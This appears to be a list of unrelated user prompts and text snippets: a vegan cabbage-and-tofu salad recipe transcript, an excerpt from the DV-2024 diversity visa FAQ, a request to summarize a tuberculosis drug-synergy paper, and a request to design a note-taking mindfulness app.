e-commerce all the way to creatives and bloggers so if you're thinking about creating a website for any purpose check out squarespace.com for a free trial and when you're ready to launch your site go to squarespace.com forward slash good eatings for 10 of your first website or domain all right so let's begin and why I like to start by making the quick pickle is because it needs to sit for preferably an hour before we tuck into it or top the salad with it and you could also make it a day ahead of making the salad itself and it will keep in the fridge for about a week or two weeks even if you don't end up using it all for the salad now and it's a very simple process which starts with two nondescript long green chilies like these that are mild here in Sweden these chilies are just called green chilies in the store so I can't give you more of an indication but you could use jalapenos if you can't find this variety and I use two whole green peppers for this recipe that serves four people once I've sliced the peppers up I just transfer them into a jar and then I prepare a very basic pickling liquid I add one quarter cup of water to a small saucepan along with one quarter cup of rice vinegar then I add a quarter of a teaspoon of sugar and a quarter of a teaspoon of salt then over low medium heat I just warm it up and whisk it until the sugar has dissolved it doesn't need to come to a boil or anything you just warm it until it's dissolved and then pour it over the peppers once all the liquid is in there I like to give the sliced chilies a quick prod just to coat them all in the liquid and then I let them sit while I prep the rest of the recipe so now with the pickle pickling away I will move on to prepping the tofu is this the marinade or glaze for that is very similar to the dressing that goes for the crunchy veg in the base of the salad I like to prepare them at the same time so I've just grabbed two bowls here and I think these little adjustments when you cook is how you can save a little bit of time and become more efficient in the kitchen so if you ever see that some components in a recipe you are using it has the same ingredients then prepare them at the same time it just makes it easier for yourself and that's what I will do and the tofu I'm using is extra firm tofu because it has a little less water in it and will have that nice and firm texture that I'm looking for in this recipe without us having to press it beforehand so what I do is that I just simply Pat it dry with a clean towel you could do this with paper towels if you prefer and if you are using plain firm tofu you could press it for about half an hour to get rid of any excess liquid the block of tofu I'm using here is 400 grams worth and once it's all nice and dry I cut it into four equal sized pieces then I slice each one of those pieces into four slices roughly half a centimeter thick but of course you could cut these into cubes if you prefer or cut them into any shape you like it really doesn't matter all that much as long as you fry them on all sides later once the tofu is all sliced up I transfer it into a shallow bowl and try to place it in a single layer as well as I can then I spread one tablespoon of corn starch over the surface and then cover the tofu in the cornstarch as evenly as possible this will ensure that the tofu gets a nice crispy surface when we fry it later I set the coated tofu aside and get started with the marinade and the dressing and both of these need fresh ginger so first I make sure to peel it and I like to use a teaspoon for this it's just such a great way to peel Ginger trust me if you've never tried it yourself then I like to grate the ginger on a micro plane but you could use a box grater or any other grating apparatus that you like you could even chop it finely if you prefer to get started with the dressing I transfer one teaspoon of the grated Ginger into one of my bowls and then I mince one clove of garlic into that bowl as well again I like to use my garlic press for this but you could mince it with a knife if you find that easier next I add in three tablespoons of soy sauce or you could use tamari as a gluten-free option I also add in two tablespoons of rice vinegar which gives a nice acidity to the dressing for some nuttiness I add in one tablespoon of toasted sesame oil then to round it out I add in one tablespoon of olive oil as well I'm also adding in one tablespoon of maple syrup for a bit of sweetness and finally I'm squeezing in the juice of half a large lime which gives this dressing a little extra thing and then I just mix that all up to combine and set it aside this will give the flavors and the dressing some time to all come together and marry before we add them to the veggies next I prepared the marinade or glaze we could call it for the tofu and I add the remaining two teaspoons of grated Ginger to the other Bowl along with one minced garlic clove I pour in two tablespoons of soy sauce or tamari as well as one teaspoon of maple syrup one teaspoon of toasted sesame oil and one teaspoon of rice vinegar finally I go in with half a teaspoon of chili flakes for a little bit of heat and then I mix it all up and that's the marinade done and I will set it aside while I fry up the tofu first so I heat up about two tablespoons of oil in a skillet over medium Heat then I add the coated tofu slices in a single layer and fry them for about four or five minutes on one side until they're nice and golden then I flip them and fry them for about three or so minutes on the other side or until they're golden on both sides you might think this seems like I'm doing things the wrong way around since I haven't really flavored them yet but you will see how they soak up all the flavor from the marinade when I add it to the skillet usually at this point the frying pan is very hot so I do the step with the heat off so when the tofu is golden on both sides I pour the marinade over it and then toss the tofu in the marinade and let it cook into the surface of it if you find that the marinade isn't becoming sticky and sticking to the tofu itself you might want to turn the heat back on what you want is for it all to be absorbed by the tofu and for it to get a nice surface so when I take the tofu off the heat I like to just let it sit in the pan still on the residual heat while I prep the veg because now the two sort of main topping players are all done and we are going to do the salad base and of course you could start with the veg but I like them to be as fresh as possible when I serve the salad so I always do it last to retain as much crunch as possible and I'm using great winter veg here like cabbages and carrot and prepping them in a way that is still fresh and a little summery if you will of course you could use other veg in here as well if you are in a different season to me then of course you could use cucumbers or courgettes or whatever other veg that you think will go well with this crunchy salad anyways in my salad there will also be fresh coriander and spring onion running through it all though to give it a little more Pizzazz and I'm going to use a not very seasonal vegetable too which is a bell pepper to add some more color and vibrancy and also a little bit of sweetness it is all very straightforward really so let's prep the veg and start building the finished dish if you wanted to you could Shred the cabbage with a mandolin but for this recipe I personally usually chop the Cabbage a little bit rougher so I prefer to use a knife and to serve four people I chop up four cups worth of the white cabbage and then I transfer it into a large mixing bowl next up I chop up two cups worth of the purple cabbage in the same manner that I did the white cabbage and then I move on to the bell pepper cutting around the core to remove the flesh from the core itself and then I like to julienne it using my knife just slicing it into little batons [Music] then I move on to the carrot which I will also julienne but for this I like to use a julienne peeler and you could peel the carrot before or not it's really up to you then I just slice along the carrot lengthways with the julienne peeler to create these long strips if you don't have a julienne peeler you could simply grate the carrot using a box grater or cut it with a knife I actually like to cut them into shorter battons anyway just so that they mix into the other vegetables nicely and for this mix I like to use about a cup and a half of carrot then I clean some spring onion that I will slice up into thin slices and I use about three quarter cup in the salad but I also like to set some aside that I can sprinkle over the top of the salad later as a topping the last ingredient going into the veg space for the salad is fresh coriander and I like to chop up a Cup's worth of the leaves just roughly again it can be nice to set aside some whole leaves for topping the salad with at the end as well finally I just transferred the spring onion and the chopped coriander to the bowl with the other veggies and then I pour the dressing over the veggies and toss them in the dressing just to coat it all really nicely there really is some serious crunch going on in this salad and that's what I like about it the most and the dressing complements it really well adding some Umami some nuttiness as well as some nice brightness and acidity to serve I like to transfer it to a sharing dish and I really should get myself a bigger one but I spread it out across an oval dish and then I like to layer in the tofu in little stacks you could of course Also Serve All the separate components family style so everyone can add what they want to their plate but I think this looks really beautiful and here I'm just sprinkling over that sliced spring onion and some more coriander leaves and then finishing off the salad with some chopped mixed and salted nuts the almost Final Touch is of course the quick pickled chilies that have now been sitting in that pickling Brine and becoming really nice and mellow and you can add as many or as few as you like to suit your level of spiciness then to wrap it all up I like to sprinkle it with some toasted sesame seeds for a little extra Crunch and beauty so that is my crunchy cabbage salad and this salad really is great in so many different scenarios since it's mainly made from hearty veg you can meal prep it for your lunch boxes it will keep well in the fridge for a few days but it is also equally great to make for lunch when you have friends and family over it's in a nice colorful bright and flavorful dish to treat people too and it's great in Winter as it uses those inexpensive winter veg as the base but it's equally delicious in the summer when it's really hot out and you want something fresh and crunchy so basically what I'm saying is that I think this salad has it all and I hope you try it and enjoy it as much as we do and yeah thank you all very much for watching I look forward to seeing in the next video and until then take care bye" -'SELECTION\n22.\u202f\u202fHow do I know if I am selected?\u202f\nYou must use your confirmation number to access the Entrant Status Check available on the E-DV\nwebsite at\u202fdvprogram.state.gov from\u202fMay\u202f6,\u202f2023,\u202fthrough\u202fSeptember\u202f30,\u202f2024.\u202f\u202fEntrant Status Check is\nthe sole means by which\u202fthe Department of State will notify\u202fyou if you are selected, provide further\ninstructions on your visa application, and notify you\u202fof your immigrant visa interview appointment date\nand time.\u202f\u202fIn order to ensure the use of all available visas, the\u202fDepartment of State may\nuse\u202fEntrant\u202fStatus Check to\u202fnotify additional selectees\u202fafter\u202fMay\u202f6, 2023.\u202f\u202fRetain your confirmation\nnumber until\u202fSeptember 30,\u202f2024,\u202fin case of any updates.\u202f\u202fThe\u202fonly authorized Department of State\nwebsite for official online entry in the Diversity Visa Program and Entrant Status Check\nis\u202fdvprogram.state.gov.\u202f\u202f\u202f\nThe Department of State will NOT contact you to tell you that you have been selected\u202f(see FAQ #25).\n23.\u202f\u202fHow will I know if I am\u202fnot\u202fselected?\u202f Will I be notified?\nThe Department of State will NOT notify you\u202fdirectly if your entry is not selected.\u202f You must use the\nEntrant Status Check to learn whether you were selected.\u202f\u202fYou may check the status of your DV2024\u202fentry through the Entrant Status Check on the E-DV website\u202ffrom\u202fMay\u202f6,\u202f2023,\nuntil\u202fSeptember\u202f30,\u202f2024.\u202f Keep your confirmation number until at least\u202fSeptember 30,\u202f2024.\u202f (Status\ninformation for the previous year’s DV program, DV-2023, is available online\nthrough\u202fSeptember\u202f30,\u202f2023.)\u202f\u202f\n24.\u202f\u202fWhat if I lose my confirmation number?\nYou must have your confirmation number to access Entrant Status Check.\u202f A tool is now available in\nEntrant Status Check\u202fon the\u202fE-DV\u202fwebsite that will allow you to retrieve your confirmation number via\nthe email address\u202fwith which\u202fyou registered by entering certain personal information to confirm your\nidentity.\u202f\nU.S.\u202fembassies and\u202fconsulates\u202fand the Kentucky Consular Center are unable to check your selection\nstatus for you or provide your confirmation number to you directly (other than through the\nEntrant\u202fStatus\u202fCheck\u202fretrieval tool).\u202f The Department of State is\u202fNOT\u202fable to\u202fprovide a list of those\nselected to continue the visa process.\u202f\n25.\u202f\u202fWill I receive information from the Department of State by email or by postal mail?\nThe Department of State will not send you a notification letter.\u202f The U.S. government has never sent\nemails to notify individuals that they have been selected, and there are no plans to use email for this\npurpose for the DV-2024\u202fprogram.\u202f\u202fIf you are a selectee, you will only receive email communications\nregarding your visa appointment\u202fafter\u202fyou have responded to the notification instructions on Entrant\nStatus Check,\u202fif an immigrant visa interview becomes available.\u202f These emails will not contain\ninformation on the actual appointment date and time; they will simply tell you\u202fto go to the\u202fEntrant\nStatus Check\u202fwebsite\u202ffor details.\u202f\u202fThe\u202fDepartment\u202fof State may send emails reminding\nDV\u202fprogram\u202fapplicants to check the Entrant Status Check\u202ffor their status.\u202f However, such emails will\nnever indicate whether the\u202fDV program\u202fapplicant was selected\u202for not.\u202f\nOnly internet sites that end with the “.gov” domain suffix are official U.S. government websites.\u202f Many\nother websites (e.g., with the suffixes “.com,” “.org,” or “.net”) provide immigration and visa-related\ninformation and services.\u202f The Department of State does not endorse, recommend, or sponsor any\ninformation or material on these other websites.\u202f\nWarning:\u202f\u202fYou may receive emails from websites\u202fthat try\u202fto trick you into sending money or providing\nyour personal information.\u202f\u202fYou may be asked to pay for forms and information about immigration\nprocedures, all\u202fof\u202fwhich are available free on the Department of State website,\u202ftravel.state.gov,\u202for\nthrough U.S.\u202fembassy or\u202fconsulate websites.\u202f Additionally, organizations or websites may try to steal \nyour money by charging fees for DV-related services.\u202f If you send money to one of these\u202fnongovernment organizations or websites, you will likely\u202fnever see it again.\u202f Also, do not send personal\ninformation to these websites, as it may be used for identity fraud/theft.\u202f\nDeceptive emails may come from people pretending to be affiliated with the Kentucky Consular Center\nor the Department of State.\u202f\u202fRemember that the U.S. government has never sent emails to\nnotify individuals they have been selected, and there are no plans to use email for this\npurpose for the DV-2024\u202fprogram.\u202f\u202fThe Department of State will never ask you to send\nmoney by mail or by services such as Western Union, although\u202fapplications\u202fto USCIS for\nadjustments of status do require mailing\u202fa fee.\u202f\u202fVisit\u202fthis\u202fsite\u202ffor more details\u202fon adjusting status.\u202f\n26.\u202f\u202fHow many individuals will be selected for DV-2024?\nFor DV-2024, 55,000\u202fDiversity\u202fVisas are available.\u202f\u202fThe Department of State selects more\u202fthan\n55,000\u202fselectees to account for selectees who\u202fwill not qualify for visas\u202fand\u202fthose who will\u202fnot\u202fpursue\ntheir cases to\u202fcompletion.\u202fThis\u202fmeans there\u202fwill\u202fnot be a sufficient number of visas for all those\nselected.\u202f The Department does this to try to use as many of the 55,000 DVs as we can.\u202f\u202f\nYou can check the E-DV website’s Entrant Status Check to see if you have been selected for further\nprocessing and later to see the status of your case.\u202f Interviews for the DV-2024\u202fprogram will begin in\nOctober\u202f2023\u202ffor selectees who have submitted all pre-interview paperwork and other information as\nrequested in the notification instructions.\u202f Selectees whose applications have been fully\nprocessed\u202fand\u202fhave been scheduled for a\u202fvisa interview appointment\u202fwill receive a notification to\u202fobtain\ndetails\u202fthrough the E-DV website’s Entrant Status Check four to six weeks before the scheduled\ninterviews with U.S. consular officers\u202foverseas.\u202f\u202f\u202f\nEach month, visas\u202fmay\u202fbe issued to those applicants who are\u202feligible\u202ffor issuance during that month,\u202fas\nlong as visas are available.\u202f\u202fOnce all the 55,000\u202fdiversity\u202fvisas have been issued,\u202fthe program will\nend.\u202f\u202fVisa numbers could be finished before September\u202f2024.\u202f Selected applicants who wish to\u202fapply\nfor\u202fvisas must be prepared to act promptly on their cases.\u202f Being randomly chosen as a\nselectee\u202fdoes not\u202fguarantee that you will receive a visa\u202for even the chance to\u202fmake a visa\napplication or to schedule a visa interview.\u202f\u202fSelection merely means that you may be eligible\nto apply for a\u202fDiversity\u202fVisa.\u202f\u202fIf your rank number becomes eligible for final\nprocessing,\u202fyou\u202fmay have the chance to make an application and\u202fpotentially\u202fmay\u202fbe issued\na\u202fDiversity\u202fVisa.\u202f\u202fA maximum of\u202f55,000 visas\u202fmay\u202fbe issued to such applicants.\n27.\u202f\u202fHow will successful entrants be selected?\nOfficial notifications of selection will be made through Entrant Status Check, available\nMay\u202f6,\u202f2023, through\u202fSeptember\u202f30,\u202f2024, on the E-DV website,\u202fdvprogram.state.gov.\u202f The\nDepartment of State\u202fdoes not\u202fsend selectee notifications or letters by regular postal mail or\nby email.\u202f Any email notification or mailed letter stating that you have been selected to\nreceive a DV\u202fthat\u202fdoes not come from the Department of State is not legitimate.\u202f Any email\ncommunication you receive from the Department of State will direct you to review Entrant\nStatus Check for new information about your application.\u202f\u202fThe Department of State will\nnever ask you to send money by mail or by services such as Western Union, unless you are\nadjusting status.\u202f\u202fSee\u202fthis\u202fsite\u202ffor more information\u202fon adjusting status.\u202f\nAll entries received from each region\u202fare\u202findividually numbered;\u202fat\u202fthe end of the entry period, a\ncomputer will randomly select entries from among all the entries received for each geographic region.\u202f\nWithin each region, the first entry randomly selected will be the first case registered; the second entry\nselected will be the second case registered, etc.\u202f All entries received within each region during the\nentry period will have an equal chance of being selected.\u202f When an entry has been selected, the\nentrant will\u202freceive\u202fnotification\u202fof his\u202for\u202fher selection through the Entrant Status Check available\nstarting May\u202f6,\u202f2023, on the E-DV website,\u202fdvprogram.state.gov.\u202f\u202fFor individuals who are\u202fselected\nand\u202fwho\u202frespond to the instructions provided online via Entrant Status Check, the Department of\nState’s Kentucky Consular Center (KCC) will process the case until those selected are instructed to\nappear for visa interviews at a U.S.\u202fembassy or\u202fconsulate or until those in the United States who are\napplying to adjust status apply\u202fwith\u202fUSCIS\u202fin the United States.\u202f\n28.\u202f\u202fI am already in the United\u202fStates.\u202f If selected, may I adjust my status with USCIS?\nYes, provided you are otherwise eligible to adjust status under the terms of Section 245 of the\nImmigration and\u202fNationality\u202fAct\u202f(INA), you may apply to USCIS for adjustment of status to permanent\nresident.\u202f You must ensure that USCIS can complete\u202faction on your case, including processing of any\noverseas\u202fapplications for a\u202fspouse or\u202ffor children\u202funder 21 years of age, before September 30,\u202f2024,\nsince on that date\u202fyour eligibility\u202ffor the DV-2024\u202fprogram expires.\u202f\u202fThe\u202fDepartment\u202fof State will not\napprove any visa numbers or adjustments of status for the DV-2024\u202fprogram after midnight EDT on\nSeptember 30,\u202f2024.\u202f\n29.\u202f\u202fIf I am selected, for how long am I entitled to apply for a\u202fDiversity\u202fVisa?\u202f\nIf you are selected in the DV-2024\u202fprogram, you are entitled to apply for visa issuance only\nduring\u202fU.S.\u202fgovernment\u202ffiscal\u202fyear\u202f2024,\u202fwhich\u202fis\u202ffrom October 1, 2023, through September\n30,\u202f2024.\u202f We encourage selectees\u202fto apply\u202ffor visas as\u202fearly\u202fas possible once their\u202fprogram\u202frank\nnumbers become eligible.\u202f\nWithout exception, all selected and eligible applicants must obtain their visa or adjust\nstatus by the end of the fiscal year. \u202fThere is no carry-over of DV benefits into the next year for\npersons who are selected but who do not obtain visas by September 30,\u202f2024\u202f(the end of the fiscal\nyear).\u202f Also, spouses and children who derive status from a DV-2024\u202fregistration can only obtain visas\nin the DV category between October 1, 2023,\u202fand September 30,\u202f2024.\u202f\u202fIndividuals\u202fwho apply overseas\nwill receive an appointment notification from the Department\u202fof State\u202fthrough Entrant Status Check on\nthe E-DV website four to six weeks before the scheduled appointment.\u202f\n30.\u202f\u202fIf a DV selectee dies, what happens to the case?\nIf a DV selectee dies at any point before\u202fhe or she has\u202ftraveled to the United States\u202for adjusted status,\nthe DV case is automatically\u202fclosed.\u202f Any derivative spouse and/or children of the deceased selectee\nwill no longer be entitled to\u202fapply for\u202fa DV visa.\u202f\u202fAny visas issued to them will be revoked.' -'explain in detail the summary of this paper in no less than 1000 words? ABSTRACT\nTuberculosis (TB) imposes a major burden on global public health which is exacerbated by the escalating number of multidrug-resistant (MDR)-TB cases. There is consequently an urgent need for new anti-TB drugs and combination regimens. We have investigated the natural product antibiotic fusidic acid (FA) for repurposing against Mycobacterium tuberculosis, the causative agent of TB. Here, we report the results of synergy screens combining FA with a panel of approved anti-TB agents. Checkerboard and time-kill kinetics assays identified seven compounds from different chemical classes that synergized with FA in inhibiting the growth of M. tuberculosis in vitro: rifampicin (RIF), a rifamycin and frontline anti-TB drug; the macrolides, erythromycin (ERY), clarithromycin (CLR), and roxythromycin (ROX); the oxazolidinone, linezolid (LZD); the aminoglycoside, streptomycin (STR); and the aminocyclitol, spectinomycin (SPC). Among these, the strongest synergies were observed where FA was combined with SPC and ERY. Moreover, the FA-RIF combination was cidal, while all other FA combinations were bacteriostatic. These results provide in vitro evidence of the potential utility of FA-containing combinations against M. tuberculosis.\n\nINTRODUCTION\nCombination therapy is essential to the clinical management of tuberculosis (TB) disease (1). Until recently, strategies to identify and advance promising combinations during early-stage pre-clinical TB drug discovery were limited. However, growing recognition of the need to identify new anti-TB drugs and regimens has re-focused attention on early-stage pre-clinical identification of synergizing combination partners for potential development (2), including drugs which are not clinically effective against TB (3, 4).\n\nAs part of a drug repurposing strategy, we utilized fusidic acid (FA) as anchor compound in developing matrix screening assays aimed at identifying optimal drug combination(s) that might be evaluated within the existing TB drug pipeline for potential clinical efficacy. FA, a translational inhibitor with demonstrated (albeit moderate) activity in vitro (5, 6), was selected owing to its unique mechanism of action: specifically, inhibition of mycobacterial protein synthesis by binding to elongation factor G (EF-G) (7). The antimicrobial-potentiating effect of FA with other antibiotics including the frontline anti-TB drug, ethambutol (EMB), as well as its lack of cross-resistance to other antimicrobial classes, provided additional motivation for our choice of FA (8, 9). In this short report, we present the analysis of in vitro interactions between FA and partner compounds comprising drugs currently used in TB treatment and selected translational inhibitors, the latter selected to enable evaluation the effects of combining FA with drugs acting on the same pathway (Fig. 1), (10, 11).\n\nFigure 1.\nDownload figureOpen in new tab\nFigure 1.\nAntibiotic targets in protein synthesis:\nSchematic representation indicating known and predicted target sites of antibiotics disrupting different stages in the (myco)bacterial translation pathway. The tRNA binding sites - amino acid (A), peptide (P), and exit (E) - on the ribosome are indicated. Adopted and modified from Wilson et al. (10).\n\nRESULTS\nCheckerboard assay identifies synergistic drug combination partners for fusidic acid\nTo identify potential partners of FA, our preliminary screens utilized Mycobacterium smegmatis mc2155, a fast-growing, non-pathogenic mycobacterium which has been exploited as a useful surrogate in drug efficacy studies in vitro. In standard two-drug checkerboard experiments (Table S1), SPC, ERY, CLR and TET exhibited synergy with FA, defined as FICI ≤ 0.5. These combinations displayed a 4-to 16-fold reduction in MIC90 for each of the individual drugs (Fig. S1). No antagonistic effects were observed with any of the combinations tested.\n\nThe synergies detected in M. smegmatis informed subsequent selection of combination partners for evaluation in M. tuberculosis using the checkerboard method. In addition, representative drugs consisting of clinically used anti-TB agents (first- and second-line) and selected translational inhibitors were tested in combination with FA. For these assays, a M. tuberculosis H37Rv reporter strain expressing green fluorescent protein (GFP) was used, as described previously (12). Fig. S2 provides an example of an interaction study in which FA and ERY were analysed in the checkerboard assay. Results in Table 1 show similarity to those obtained for M. smegmatis, such that SPC, ERY and CLR exhibited synergy with FA against M. tuberculosis. The combination of FA and ERY returned a FICI value of 0.25, indicating a synergistic interaction (Fig. S2A). Other drugs that synergized with FA included RIF, STR, roxithromycin (ROX), and LZD. These synergistic interactions generally resulted in 4-to 8-fold reductions in the MICs of each drug within the combination. Even though the combination of FA and BDQ did not result in a FICI value of ≤ 0.5, it is important to note that the two displayed approximately a 4-fold reduction in their respective MICs, and the observed FICI (0.55) was very close to that defined as “synergy”. No antagonistic interaction was observed between FA and any of the compounds tested. For the combinations exhibiting synergy with FA, isobolograms were constructed by plotting the FIC curves of the FA-drug combinations (Fig. S3). Interactions between FA and ERY, SPC, and RIF were well within the synergy region (FICI < 0.5) whereas FA with STR, LZD, and ROX indicated borderline synergy (FICI = 0.5). The FA-INH interaction was included as a “no interaction” control.\n\nView inlineView popup\nTable 1.\nIn vitro synergistic interaction between FA and anti TB agents or selected translational inhibitors against M. tuberculosis::gfp\n\nTo confirm results obtained using the checkerboard assay, the strongly synergistic FA-ERY combination was evaluated in a growth inhibition assay (Fig. S4). For this purpose, FA and ERY were used at 0.3 and 27 µM, respectively, since these were the concentrations at which the lowest FICI value was obtained in the checkerboard assay (Fig. S2). RIF, at a concentration of 0.015 µM, was included as a control. In the absence of drug, the population of M. tuberculosis increased over 14 days post-inoculation. In contrast, the population of viable cells remained relatively constant over the same duration when the growth medium contained the FA and ERY combination. Similarly, the medium containing FA, ERY plus sub-MIC RIF did not display any increase in the number of viable bacterial population over a 14-day period. In contrast, cultures incubated in the presence of the individual antibiotics, FA or ERY, showed equivalent growth to the untreated control.\n\nAssessing synergistic and peak plasma concentrations (Cmax) of FA synergizing drugs for optimal therapy\nAs a key consideration for the clinical potential of FA combinations, the respective concentrations at which synergy was observed were compared with the reported peak plasma concentrations (Cmax) for each drug. This is important in understanding whether the concentrations required to achieve the desired response are therapeutically feasible – and, consequently, whether the results obtained from an in vitro assay have any utility in guiding therapeutic use. Except for the FA-ERY interaction, synergies between FA and its partners were achieved at concentrations predicted to be below the maximum plasma concentrations (13, 14), suggesting that these concentrations are therapeutically achievable (Fig. S5). For example, the presence of FA decreased the MIC of SPC from 201 µM to 3.14 µM, which represents a greater than 98% reduction in the MIC (Table S2). This reduced concentration is far below the Cmax value of SPC in humans (30.8 µM), determined following a 1000 mg intramuscular dose (15).\n\nAssessing cidal versus static synergies\nTo determine whether FA interactions resulted in killing or merely inhibited the growth of M. tuberculosis, the method of Zhang et al. was utilized (16). INH, a bactericidal agent, was used as a reference drug, and all drugs were tested alone and in combination against the M. tuberculosis H37Rv::gfp bioreporter strain. Results for the bacteriostatic or cidal effects of the drug combinations with FA are illustrated (Figure 2). The FA-RIF combination displayed a MBC/MIC ratio of ≤ 2 on day 14 of evaluation, suggesting cidality. The other combinations tested – combining FA with SPC, ERY, CLR, ROX or LZD – all exhibited MBC/MIC ratios >2, implying static effects. The bacteriostatic/cidal action of individual drugs is shown in Fig. S6.\n\nFigure 2.\nDownload figureOpen in new tab\nFigure 2.\nBactericidal versus static effects of drug combinations against M. tuberculosis.\nAnalysis of FA in combination with synergizing drugs; ERY, SPC, CLR, ROX, RIF, and LZD. INH was used as reference drug. MBC/MIC ratio ≤2: cidal; MBC/MIC ratio > 2: static. \\*Sub-inhibitory concentrations of FA that exhibited the respective synergies in these checkerboard experiments are between (0.3 – 1.2 µM) Data are from a representative experiment performed in triplicate. Error bars indicate standard deviations, calculated from the mean of triplicate samples.\n\nFA synergizing partners are active against the FA-resistant mutant\nA cross-resistance study was performed using a FA-resistant M. tuberculosis mutant carrying H462Y mutation in fusA1(11). The FA-resistant mutant exhibited >100-fold MIC compared to the FA-susceptible parental strain. Six synergistic FA partner drugs – RIF, SPC, CLR, ERY, STR and ROX – were evaluated using the resazurin reduction microplate assay (REMA). The results (Fig. S7) indicated that the MIC90 values of these drugs remained the same against the FA-resistant mutant relative to the wild-type strain, confirming that there was no cross-resistance to each of the tested compounds.\n\nInteraction of FA synergizing partners with selected chemically unrelated compounds\nUsing a set of six chemically and structurally diverse drug agents (Table S3), a combination assay was performed with four drugs that had displayed synergistic interaction with FA: RIF, ERY, CLR and SPC. The aim was to determine whether these compounds displayed synergy only with FA or exhibited a wider spectrum of synergistic interactions. The results of these pairwise combinations (Figure 3) revealed potentiating interactions between all FA synergizing partners (except RIF) and THS, BDQ and CPZ. CLR displayed strong synergies with BDQ and CPZ (FICI = 0.23 in both cases). The interaction between SPC and INH was also synergistic, while the remaining compounds (EMB and MOX) exhibited no interactions in combination with RIF, ERY, CLR and SPC.\n\nFigure 3.\nDownload figureOpen in new tab\nFigure 3.\nDrug interaction study.\nPairwise interactions between selected drugs (blue fonts) and synergizing agents (black fonts) of FA (using M. tuberculosis H37Rv::gfp. Red panels indicate synergistic interactions (FICI ≤ 0.5), while green panels are no interaction (0.5 < FICI ≤ 4). The bars indicate the fold-reduction in MIC required to achieve the same effect in combination versus single-drug assays. For example, in the interaction between RIF and MOX, top right-hand panel, the FIC for RIF = 0.45 (black bar) and MOX = 0.9 (blue bar). The resulting FICI for RIF-MOX = 1.35 (green bar) which indicates an additive interaction. Data are from the representative experiment performed in duplicate.' -'thank you , bbased on all we discussed, draw an outline for such app, in 15 points, showing al lth features, in elaborate ste by step way\n"i found this method , i want you to help me turn it into a visionay mobile app, very intuitive , that takes you to a journey to the depth of the mind ""i found a loophole, a shortcut , to hack the mind, I am an artist, 2 yers ago i came across a tip, a note taking tip, but a little it differe,nt i created a whatsapp group , emptied it, called it characters tic. it was about specific traits i found in interesting in people,all without wriintg the characters name [will get to tht later] a while leater i added another group “ random scenes” about random scenes i saw heppening , rememberd from the past, or just envisioned, creatively. i kept adding “complex feelings”, “Diseases as a character : how a disease affects the lfie of its carrier” “jobs as a character : how a job affects the life of its worker”, i added over a hundred group relating to writing, characters , a year later, i dsocvered somrething weird, the trick of not using names ,came to benefit when i disocvered something very weird, a year later, everything i have written ,is what led to me know, all these thoughts, the dance of thm all the se chars , are me, the traits are all me,\n\nwhy it works? very simpl,e we haven o access to what’s outside our brain, this seems intuitive but hard to reallty know what imeans without really noticing , the cause and effecto f it ll, which these whatsapp groups help ou in , after idiscvoered that, ialso discovered thatm y attention, became much stronger towards the topics/whatsapp groups i used the most, these bcame things i attend to in each prompt [which is each scene i see by eye or hair] , \n\nwhy it works? attention is a muscle, it’s all inside your head, if you train you story to focus on that aspecrt, you will focus on it, after i discoerd that loop hole , i started adding a group for specific things i consiocly want to foucs on , maybe for work , or study related, and whati found was that the same thing hapened again, i keep getting ideas, many fish in the see, and my fishigng rods of contiousess have trained , been fine tuned on those whatsapp groups, so if i wrote “Techon music syneththis “ as a group , i getm ore ideas about that, even dream about it ..\n\nanother great thingi s the strucure you notice after a while ,how every group connects to the other , how they all are you. \n\nanother great beneiftsi s cusotmizaiton, you basically hack your mind, like linux access not windows, to control what do you want to focus on ? what od you want to be your problems ?pains tht you want to solve? it’s like a transformer backbone [ the original charater tics gorup and dramatic psyche ones] , then fine tuned on any new whatsapp group, in a fvery fast way, as you have the basis of unity ,symmetry tht allows you to catch the cores of it all, have a framework. \n\nwe’re just a story we tell ourselves, so let’s just control how the story is written ,it’s about the details, here’s the secret, each thought [of your intuion], or contiousness is a result of those groups ,by chanign them you are witnessing the skin peelning process of yuo\n\nPRo tip : when creating the group , organize them into 2 types :groups tha tprereset [nodes] which could be scenes or tics, and groups represtning [meta nodes] which are grups representing higherl evel strucure, of , why you write the wway oyu write? \n\na group called “deep” about your philosophy shower thoguhts, how everything works ? \n\nthe interaction ebtween those groups and the groups of [nodes] , will help you find the strucure ,you not only write what you think but how you think, and when you revisit later you have a progress ov your thought prccess over a year.\n\nThe final tip is that, whenenver an idea hits you ,you have to write it down in the group , this process of beating the voices preventing you from recording it [that’s your ego afraid of its fragemntation], helps in making it easier to record latero n , you are training the meta muscle of muscles\n\nPErsonally i h vae faced a very weird kind of Ego death, action, intent, cause, effect ,all internal iconversations, my mind categorized in front of me, this is my story, this is why i did what i did, it all makes sense, the eureka moment was ,oh shit fuck , this means i could control how i fell, just by filtering my dataset \n\nThe dataset : this methd give you a look inside you dataset, what makes you you, whether you re waware of it or nor, for exmaple , in the characters group , each character is part of you , again , very simple reason , you have no access to outside. In retrospect this will make sense t you, once you scroll up and see how these ideas manifested in your to make you\n\nPro tip: once you master the method, you could intentally add seeds to manifest in you , when you figure out the calculus of your attention : \n\nManifestation : Manifestation is treated a buzzword, but its very simple, we usually in a reactionary state, this method of note taking [on the coniditon that you write an entry whenever yo uget the idea regardless of your modd, excuse] helps you get those 10 seconds of freedon at least, before any decision , which help you control what you think, when to think, where to think, helps you control yuor multi headed attention [multi whatsapp groups,] , throw the fishing rods wheere you want\n\nAdvanced tip : a very interesting step that happens by time is compression s,ome of the gruops will be redudnant you will not use hem aymore, as you will discover that some groups more than other, capture most abstract, gernelizable ideas, thiss proccess of morphing ,compresison helps condensing the ideas and condensng the strucure, mkaing info per minute ratio very high. \n\nsome of the groups i personally used [ Story] [Theme][Characters][Random Scenes][Char/Job][Char/Place][Char /Object : each object has life too] ,[complex emotions [emotions i do not understand now ] [RelationShips][Quotes][Deep][Eminem][Deep Learning][StandUpComedy][NormMcdonald Style]\n\na writer who sipmitsh is pilot for a hsow ,does smething similar in his mind to this, tries to morph into the show access the whatsapp grops of the show , tryies to morph everything by it , write in the style of it , make it his main attention head \n\nlast tip : be vompletely honest , ego deathic when wrtiing entries, if you’re not, you will knwi anyway when you revisit em, and you will discover tyou were lying to youself, and fix that, which is cool too , so win win.\n\nexmaples of how to create groups , for esxample ,lets see you wanna get some politics , write a group called rebublican : only write it in it from the perpsective of a repbulica, another a democrat, write in ffom a perspective of a democrat, this does two things [ contrastive learning : helps you see the idffernece, learn the things by what it isn’t in addition to what is is] , and by writing scenes in each group , you really nderstand the topic/perspective/dimension[like in deep elarning, softmax] , of that concept, ] \n\nAnotheri important factor in this method is , isnce its done alone, you could be totally comepltely honest in writing your opinions, in this steel meanign process, just focus on one thing [ how do i write it as a Democrat] , by odoing this process in many groups 